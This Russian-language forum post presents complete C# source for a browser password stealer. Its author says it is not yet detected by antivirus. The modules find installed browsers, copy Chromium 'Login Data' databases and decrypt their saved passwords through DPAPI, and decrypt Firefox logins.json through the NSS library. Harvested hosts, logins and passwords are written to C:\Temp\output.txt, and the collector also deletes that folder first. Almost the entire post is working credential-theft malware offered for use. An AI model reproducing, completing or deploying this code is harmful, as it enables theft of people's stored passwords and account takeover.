Написал стиллер паролей с браузеров Firefox, Chrome, Yandex, Opera. Пока ничем не палится.
Модуль main
Перечеселение всех браузеров установленных на компе
Модуль автоопределения браузеров на компе
Модуль для выдергивания паролей из браузеров на движке хрома (Яндекс, Опера, Хром)
Модуль для выдергивания паролей с бразуера Firefox
Общий модуль для обработки выборки
Модуль main
Код:
using System;
using System.Collections.Generic;
using System.Linq;
namespace StillerPasswrods
{
public class Program
{
public static void Main(string[] args)
{
BrowserSearcher finder = new BrowserSearcher();
List<Browser> browsers = finder.DetectBrowsers();
CrackerPasswords cracker = new CrackerPasswords();
cracker.CollectPasswords(browsers);
Console.WriteLine(String.Join(",", browsers.Select(x => x.ToString()).ToArray()));
Console.ReadKey();
}
}
}
Код:
namespace StillerPasswrods
{
public enum Browser
{
Chrome = 0,
IE = 1,
Mozilla = 2,
Safary = 3,
Yandex = 4,
Edge = 5,
Opera = 6
}
}
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
namespace StillerPasswrods
{
public class BrowserSearcher
{
public List<Browser> DetectBrowsers()
{
List<Browser> browsers = new List<Browser>();
var filePath = GetPathToBrowsers();
string[] directories = Directory.GetDirectories(filePath + @"/AppData/Local");
fillBrowserList("Mozilla", Browser.Mozilla, browsers, directories);
fillBrowserList("Opera", Browser.Opera, browsers, directories);
fillBrowserList("Google", Browser.Chrome, browsers, directories);
fillBrowserList("Yandex", Browser.Yandex, browsers, directories);
fillBrowserList("MicrosoftEdge", Browser.Edge, browsers, directories);
return browsers;
}
public static string GetPathToBrowsers()
{
string pathWithEnv = @"%USERPROFILE%";
string filePath = Environment.ExpandEnvironmentVariables(pathWithEnv);
return filePath;
}
private static void fillBrowserList(string name, Browser browser, List<Browser> browsers, string[] directories)
{
if (directories.Where(x => x.Contains(name)).Count() > 0)
{
browsers.Add(browser);
}
}
private bool is64bit()
{
return Marshal.SizeOf(typeof(IntPtr)) == 8;
}
}
}
Модуль для выдергивания паролей из браузеров на движке хрома (Яндекс, Опера, Хром)
Код:
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SQLite;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace StillerPasswrods
{
public class ChromePass
{
public ChromePass(string url, string login, string password)
{
Url = url;
Login = login;
Password = password;
}
public string Url { get; set; }
public string Login { get; set; }
public string Password { get; set; }
}
public static class ChromeKit
{
public static List<ChromePass> GetChromiumPasswords(string filePass)
{
File.Copy(filePass, @"C:\Temp\Login Data", true);
filePass = @"C:\Temp\Login Data";
List<ChromePass> result = new List<ChromePass>();
string connectionString = $"Data Source = {filePass}";
string db_fields = "logins";
byte[] entropy = null;
string description;
DataTable db = new DataTable();
string sql = $"SELECT * FROM {db_fields}";
using (SQLiteConnection connection = new SQLiteConnection(connectionString))
{
SQLiteCommand command = new SQLiteCommand(sql, connection);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
adapter.Fill(db);
}
int rows = db.Rows.Count;
for (int i = 0; i < rows; i++)
{
string url = db.Rows[i][1].ToString();
string login = db.Rows[i][3].ToString();
byte[] byteArray = (byte[])db.Rows[i][5];
byte[] decrypted = ProtectedData.Unprotect(byteArray, entropy, DataProtectionScope.LocalMachine);
string password = Encoding.UTF8.GetString(decrypted);
result.Add(new ChromePass(url, login, password));
}
return result;
}
}
}
Модуль для выдергивания паролей с бразуера Firefox
Код:
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
namespace StillerPasswrods
{
/// <summary>
/// A small class to recover Firefox Data
/// </summary>
public static class Firefox
{
private static IntPtr nssModule;
private static DirectoryInfo firefoxPath;
private static DirectoryInfo firefoxProfilePath;
private static FileInfo firefoxLoginFile;
private static FileInfo firefoxCookieFile;
static Firefox()
{
firefoxPath = GetFirefoxInstallPath();
if (firefoxPath == null)
throw new NullReferenceException("Firefox is not installed, or the install path could not be located");
firefoxProfilePath = GetProfilePath();
if (firefoxProfilePath == null)
throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?");
firefoxLoginFile = GetFile(firefoxProfilePath, "logins.json");
if (firefoxLoginFile == null)
throw new NullReferenceException("Firefox does not have any logins.json file");
firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite");
if (firefoxCookieFile == null)
throw new NullReferenceException("Firefox does not have any cookie file");
}
#region Public Members
/// <summary>
/// Recover Firefox Passwords from logins.json
/// </summary>
/// <returns>List of Username/Password/Host</returns>
public static List<FirefoxPassword> Passwords()
{
List<FirefoxPassword> firefoxPasswords = new List<FirefoxPassword>();
// init libs
InitializeDelegates(firefoxProfilePath, firefoxPath);
JsonFFData ffLoginData = new JsonFFData();
using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
{
string json = sr.ReadToEnd();
ffLoginData = Newtonsoft.Json.JsonConvert.DeserializeObject<JsonFFData>(json);
}
foreach (LoginData data in ffLoginData.logins)
{
string username = Decrypt(data.encryptedUsername);
string password = Decrypt(data.encryptedPassword);
Uri host = new Uri(data.formSubmitURL);
firefoxPasswords.Add(new FirefoxPassword() { Host = host, Username = username, Password = password });
}
return firefoxPasswords;
}
/// <summary>
/// Recover Firefox Cookies from the SQLite3 Database
/// </summary>
/// <returns>List of Cookies found</returns>
/* public static List<FirefoxCookie> Cookies()
{
List<FirefoxCookie> data = new List<FirefoxCookie>();
SQLiteHandler sql = new SQLiteHandler(firefoxCookieFile.FullName);
if (!sql.ReadTable("moz_cookies"))
throw new Exception("Could not read cookie table");
int totalEntries = sql.GetRowCount();
for (int i = 0; i < totalEntries; i++)
{
try
{
string h = sql.GetValue(i, "host");
//Uri host = new Uri(h);
string name = sql.GetValue(i, "name");
string val = sql.GetValue(i, "value");
string path = sql.GetValue(i, "path");
bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
bool http = sql.GetValue(i, "isSecure") == "0" ? false : true;
// if this fails we're in deep shit
long expiryTime = long.Parse(sql.GetValue(i, "expiry"));
long currentTime = ToUnixTime(DateTime.Now);
DateTime exp = FromUnixTime(expiryTime);
bool expired = currentTime > expiryTime;
data.Add(new FirefoxCookie()
{
Host = h,
ExpiresUTC = exp,
Expired = expired,
Name = name,
Value = val,
Path = path,
Secure = secure,
HttpOnly = http
});
}
catch (Exception)
{
return data;
}
}
return data;
}
*/
#endregion
#region Functions
private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
{
LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
var nssModule2 = LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
nssModule = nssModule2;
IntPtr pProc = GetProcAddress(nssModule, "NSS_Init");
NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
NSS_Init(firefoxProfilePath.FullName);
long keySlot = PK11_GetInternalKeySlot(nssModule);
PK11_Authenticate(keySlot, true, nssModule, 0);
}
private static DateTime FromUnixTime(long unixTime)
{
DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
return epoch.AddSeconds(unixTime);
}
private static long ToUnixTime(DateTime value)
{
TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime());
return (long)span.TotalSeconds;
}
#endregion
#region File Handling
private static DirectoryInfo GetProfilePath()
{
string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
if (!Directory.Exists(raw))
throw new Exception("Firefox Application Data folder does not exist!");
DirectoryInfo profileDir = new DirectoryInfo(raw);
DirectoryInfo[] profiles = profileDir.GetDirectories();
if (profiles.Length == 0)
throw new IndexOutOfRangeException("No Firefox profiles could be found");
// return first profile, fuck it.
return profiles[0];
}
private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm)
{
foreach (FileInfo file in profilePath.GetFiles(searchTerm))
{
return file;
}
throw new Exception("No Firefox logins.json was found");
}
public static DirectoryInfo GetFirefoxInstallPath()
{
DirectoryInfo firefoxPath = null;
// get firefox path from registry
// we'll search the 32bit install location
RegistryKey localMachine1 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Mozilla\Mozilla Firefox", false);
// and lets try the 64bit install location just in case
RegistryKey localMachine2 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox", false);
if (localMachine1 != null)
{
string[] installedVersions = localMachine1.GetSubKeyNames();
// we'll take the first installed version, people normally only have one
if (installedVersions.Length == 0)
throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);
// get install directory
string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);
if (installString == null)
throw new NullReferenceException("Install string was null");
firefoxPath = new DirectoryInfo(installString);
}
else if (localMachine2 != null)
{
string[] installedVersions = localMachine2.GetSubKeyNames();
// we'll take the first installed version, people normally only have one
if (installedVersions.Length == 0)
throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
RegistryKey mainInstall = localMachine2.OpenSubKey(installedVersions[0]);
// get install directory
string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);
if (installString == null)
throw new NullReferenceException("Install string was null");
firefoxPath = new DirectoryInfo(installString);
}
return firefoxPath;
}
#endregion
#region WinApi
// Credit: http://www.pinvoke.net/default.aspx/kernel32.loadlibrary
private static IntPtr LoadWin32Library(string libPath)
{
if (String.IsNullOrEmpty(libPath))
throw new ArgumentNullException("libPath");
IntPtr moduleHandle = LoadLibrary(libPath);
if (moduleHandle == IntPtr.Zero)
{
var lasterror = Marshal.GetLastWin32Error();
var innerEx = new Win32Exception(lasterror);
innerEx.Data.Add("LastWin32Error", lasterror);
throw new Exception("can't load DLL " + libPath, innerEx);
}
return moduleHandle;
}
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate long NSS_InitPtr(string configdir);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int PK11SDR_DecryptPtr(ref TSECItem data, ref TSECItem result, int cx);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate long PK11_GetInternalKeySlotPtr();
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate long PK11_AuthenticatePtr(long slot, bool loadCerts, long wincx);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int NSSBase64_DecodeBufferPtr(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
[StructLayout(LayoutKind.Sequential)]
private struct TSECItem
{
public int SECItemType;
public int SECItemData;
public int SECItemLen;
}
#endregion
#region JSON
// json deserialize classes
private class JsonFFData
{
public long nextId;
public LoginData[] logins;
public string[] disabledHosts;
public int version;
}
private class LoginData
{
public long id;
public string hostname;
public string url;
public string httprealm;
public string formSubmitURL;
public string usernameField;
public string passwordField;
public string encryptedUsername;
public string encryptedPassword;
public string guid;
public int encType;
public long timeCreated;
public long timeLastUsed;
public long timePasswordChanged;
public long timesUsed;
}
#endregion
#region Delegate Handling
// Credit: http://www.codeforge.com/article/249225
private static long PK11_GetInternalKeySlot(IntPtr nssModule)
{
IntPtr pProc = GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
return ptr();
}
private static long PK11_Authenticate(long slot, bool loadCerts, IntPtr nssModule, long wincx)
{
IntPtr pProc = GetProcAddress(nssModule, "PK11_Authenticate");
PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
return ptr(slot, loadCerts, wincx);
}
private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
{
IntPtr pProc = GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
return ptr(arenaOpt, outItemOpt, inStr, inLen);
}
private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
{
IntPtr pProc = GetProcAddress(nssModule, "PK11SDR_Decrypt");
PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
return ptr(ref data, ref result, cx);
}
private static string Decrypt(string cypherText)
{
StringBuilder sb = new StringBuilder(cypherText);
int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length);
TSECItem tSecDec = new TSECItem();
TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
{
if (tSecDec.SECItemLen != 0)
{
byte[] bvRet = new byte[tSecDec.SECItemLen];
Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
return Encoding.UTF8.GetString(bvRet);
}
}
return null;
}
#endregion
}
public class FirefoxPassword
{
public string Username { get; set; }
public string Password { get; set; }
public Uri Host { get; set; }
public override string ToString()
{
return string.Format("User: {0}{3}Pass: {1}{3}Host: {2}", Username, Password, Host.Host, Environment.NewLine);
}
}
public class FirefoxCookie
{
public string Host { get; set; }
public string Name { get; set; }
public string Value { get; set; }
public string Path { get; set; }
public DateTime ExpiresUTC { get; set; }
public bool Secure { get; set; }
public bool HttpOnly { get; set; }
public bool Expired { get; set; }
public override string ToString()
{
return string.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, Host, Name, Value, Path, Expired, HttpOnly, Secure);
}
}
}
Общий модуль для обработки выборки
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace StillerPasswrods
{
public class CrackerPasswords
{
private const string fileName = @"C:\Temp\output.txt";
public void CollectPasswords(List<Browser> browsers)
{
if (Directory.Exists(@"C:\Temp"))
{
Directory.Delete(@"C:\Temp", true);
}
Directory.CreateDirectory(@"C:\Temp");
foreach (Browser browser in browsers)
{
switch (browser)
{
case Browser.Chrome: collectByChrome(); break;
case Browser.Yandex: collectByYandex(); break;
case Browser.Safary: collectBySafary(); break;
case Browser.IE: collectByIE(); break;
case Browser.Mozilla: collectByMozilla(); break;
case Browser.Edge: collectByEdge(); break;
case Browser.Opera: collectByOpera(); break;
}
}
}
private void collectByChrome()
{
try
{
string filePath = BrowserSearcher.GetPathToBrowsers();
filePath = String.Concat(filePath, @"\AppData\Local\Google\Chrome\User Data\Default\Login Data");
Console.WriteLine(filePath);
List<ChromePass> chrome = ChromeKit.GetChromiumPasswords(filePath);
StreamWriter sw = new StreamWriter(fileName, true, Encoding.UTF8);
sw.WriteLine("------------------------Chrome-----------------------------");
foreach (var pair in chrome)
{
sw.WriteLine($"Хост: {pair.Url}; Логин: {pair.Login}; Пароль: {pair.Password}");
}
sw.WriteLine("------------------------END-----------------------------");
sw.Close();
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
private void collectByYandex()
{
try
{
string filePath = BrowserSearcher.GetPathToBrowsers();
filePath = String.Concat(filePath, @"\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data");
List<ChromePass> chrome = ChromeKit.GetChromiumPasswords(filePath);
StreamWriter sw = new StreamWriter(fileName, true, Encoding.UTF8);
sw.WriteLine("------------------------Yandex-----------------------------");
foreach (var pair in chrome)
{
sw.WriteLine($"Хост: {pair.Url}; Логин: {pair.Login}; Пароль: {pair.Password}");
}
sw.WriteLine("------------------------END-----------------------------");
sw.Close();
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
private void collectByOpera()
{
try
{
string filePath = BrowserSearcher.GetPathToBrowsers();
filePath = String.Concat(filePath, @"\AppData\Roaming\Opera Software\Opera Stable\Login Data");
List<ChromePass> chrome = ChromeKit.GetChromiumPasswords(filePath);
StreamWriter sw = new StreamWriter(fileName, true, Encoding.UTF8);
sw.WriteLine("------------------------Opera-----------------------------");
foreach (var pair in chrome)
{
sw.WriteLine($"Хост: {pair.Url}; Логин: {pair.Login}; Пароль: {pair.Password}");
}
sw.WriteLine("------------------------END-----------------------------");
sw.Close();
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
private void collectByMozilla()
{
try
{
List<FirefoxPassword> passwords = Firefox.Passwords();
StreamWriter sw = new StreamWriter(fileName, true, Encoding.UTF8);
sw.WriteLine("------------------------Firefox-----------------------------");
foreach (var firefox in passwords)
{
sw.WriteLine($"Хост: {firefox.Host}; Логин: {firefox.Username}; Пароль: {firefox.Password}");
}
sw.WriteLine("------------------------END-----------------------------");
sw.Close();
} catch(Exception e) { Console.WriteLine(e.Message); }
}
#region Unused
private string collectByEdge() { return ""; }
private string collectBySafary() { return ""; }
private string collectByIE() { return ""; }
#endregion
}
}